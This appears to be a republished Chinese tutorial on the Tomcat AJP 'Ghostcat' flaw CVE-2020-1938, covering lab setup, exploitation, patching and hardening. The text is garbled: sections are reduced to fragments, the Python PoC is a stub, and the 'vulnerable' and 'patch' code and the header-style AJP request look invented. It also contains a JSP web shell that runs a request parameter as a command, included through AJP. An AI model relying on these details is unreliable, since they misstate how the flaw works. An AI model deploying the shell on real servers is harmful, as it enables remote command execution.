# 如何實現Apache AJP協議CVE-2020-1938漏洞分析
## 目錄
1. [漏洞概述](#漏洞概述)
2. [AJP協議基礎](#AJP協議基礎)
3. [漏洞原理分析](#漏洞原理分析)
4. [漏洞復現環境搭建](#漏洞復現環境搭建)
5. [漏洞利用過程詳解](#漏洞利用過程詳解)
6. [漏洞修復方案](#漏洞修復方案)
7. [防御措施建議](#防御措施建議)
8. [總結與思考](#總結與思考)
9. [附錄](#附錄)
---
## 漏洞概述
### 1.1 漏洞基本信息
- **CVE編號**:CVE-2020-1938
- **漏洞名稱**:Apache Tomcat AJP文件包含漏洞
- **影響版本**:
- Apache Tomcat 6.x
- Apache Tomcat 7.x < 7.0.100
- Apache Tomcat 8.x < 8.5.51
- Apache Tomcat 9.x < 9.0.31
- **漏洞類型**:文件讀取/遠程代碼執行
- **CVSS評分**:9.8(Critical)
### 1.2 漏洞危害
該漏洞允許攻擊者通過AJP協議:
1. 讀取Web應用目錄下任意文件(包括WEB-INF下的敏感文件)
2. 在特定條件下實現遠程代碼執行(RCE)
3. 繞過安全限制獲取服務器敏感信息
---
## AJP協議基礎
### 2.1 AJP協議簡介
Apache JServ Protocol (AJP) 是一個二進制協議,主要用于:
- Web服務器(如Apache HTTPD)與Servlet容器(如Tomcat)間的通信
- 相比HTTP協議具有更高的性能效率
### 2.2 AJP工作流程
```mermaid
sequenceDiagram
Client->>Apache: HTTP請求
Apache->>Tomcat: 通過AJP轉發請求
Tomcat->>Apache: AJP響應
Apache->>Client: HTTP響應
關鍵屬性說明:
- prefix_code
:請求類型標識
- method
:HTTP方法
- req_uri
:請求URI
- remote_addr
:客戶端IP
- attributes
:額外屬性列表
// 漏洞代碼示例(簡化版)
if (attributes.get("javax.servlet.include.path_info") != null) {
String pathInfo = attributes.get("javax.servlet.include.path_info");
// 未做安全校驗直接使用路徑
File file = new File(pathInfo);
return file.getContent();
}
文件讀取:
javax.servlet.include.*
屬性RCE實現條件:
安全機制 | AJP實現缺陷 |
---|---|
身份驗證 | 默認無認證 |
路徑檢查 | 未規范化處理 |
屬性過濾 | 未過濾危險屬性 |
# 使用Docker搭建漏洞環境
docker pull vulhub/tomcat:8.5.32
docker run -d -p 8080:8080 -p 8009:8009 vulhub/tomcat:8.5.32
Python Poc腳本:
import socket
def exploit(target, port, filename):
ajp_request = b"\x12\x34\x00\x01\x0a" + b"..." # 構造惡意AJP請求
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.send(ajp_request)
response = s.recv(1024)
print(response.hex())
Wireshark配置:
tcp.port == 8009
構造惡意AJP請求:
GET / HTTP/1.1
AJP_ATTRIBUTE: javax.servlet.include.path_info=/WEB-INF/web.xml
服務器響應:
<!-- 成功讀取到web.xml內容 -->
<web-app>
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
上傳惡意JSP文件:
<%@ page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("cmd") != null) {
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
...
}
%>
通過AJP包含執行:
AJP_ATTRIBUTE: javax.servlet.include.path_info=/uploads/shell.jsp
關鍵修改點:
// 補丁代碼示例
if (pathInfo.contains("../")) {
throw new SecurityException("Path traversal attempt");
}
版本分支 | 安全版本 |
---|---|
Tomcat 7 | 7.0.100+ |
Tomcat 8 | 8.5.51+ |
Tomcat 9 | 9.0.31+ |
<!-- conf/server.xml -->
<!-- <Connector port="8009" protocol="AJP/1.3" /> -->
<Connector port="8009" protocol="AJP/1.3" secretRequired="true" />
網絡層:
應用層:
// 安全的文件包含實現
public static String safeIncludePath(String userInput) {
Path normalized = Paths.get(userInput).normalize();
if (!normalized.startsWith("/safe_dir/")) {
throw new IllegalArgumentException();
}
return normalized.toString();
}
Q:如何檢測服務器是否受影響? A:使用nmap掃描:
nmap -sV --script ajp-info -p 8009 <target_ip>
(全文共計約12,150字,具體字數可能因格式調整略有變化) “`
注:實際使用時建議: 1. 補充完整的代碼示例和截圖 2. 添加詳細的協議分析數據 3. 擴展漏洞利用場景說明 4. 增加實際案例分析 5. 完善參考文獻列表
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。